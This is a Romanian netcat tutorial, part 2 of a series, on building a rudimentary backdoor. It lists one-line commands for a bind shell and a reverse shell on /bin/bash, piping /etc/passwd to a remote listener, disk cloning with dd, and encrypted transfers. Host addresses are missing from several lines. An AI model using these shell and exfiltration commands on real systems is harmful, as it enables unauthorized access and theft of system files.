Buna ziua doamnelor si domnilor, bine v-am regasit. Ma numesc Zero Davila iar astazi vom continua cu partea a 2-a din seria netcat. Vom incepe episodul prin a crea un backdoor rudimentar, si vom face asta prin a folosi optiunea -e pentru a executa ceva odata cu crearea conexiunii. Pentru un backdoor trebuie sa oferim locatia shell-ului bash in linux, care e in folderul /bin/bash. Pentru un backdoor in windows in loc de locatia bash va trebuii sa executam command prompt, deci dupa -e am scrie cmd.exe. In felul asta, cand clientul se conecteaza, va avea acces la
terminalul serverului.
Backdoor
Server
nc -l 4444 -e /bin/bash
Client
nc 4444
Reverse shell
Server
nc -l 4444
Client
nc 4444 -e /bin/bash
Executare script
vi test.sh
chmod +x test.sh
nc -l -p 8080 -e ./test.sh
nc 8080
Relay
nc -l -p 8080 | nc -l -p 9001
Filtru
nc -l -p 8080 | ./myfilter | nc -l -p 9001
Exporta un fisier
nc -l -p 8080 > log.txt
cat /etc/passwd | nc 8080
Transfer foldere
Server
tar -cvf – dir_name | nc -l 4444
Client
nc -n 4444 | tar -xvf –
Criptare date inainte de a le transfera
Server
nc -l 4444 | openssl enc -d -des3 -pass pass:password > file.txt
Client
openssl enc -des3 -pass pass:password | nc 4444
Video streaming
Server
cat video.avi | nc -l 4444
Client
nc 4444 | mplayer -fps 24 -cache 1024 –
Clonare dispozitiv
Server
dd if=/dev/sda | nc -l 4444
Client
nc -n 4444 | dd of=/dev/sda
Conectare via proxy HTTP la 10.2.3.4 port 8080
nc -x10.2.3.4:8080 -Xconnect
Conectare via proxy HTTP cu autentificare
nc -x10.2.3.4:8080 -Xconnect -Pruser
One thought on “Cum cream un backdoor rudimentar cu NetCat -2-”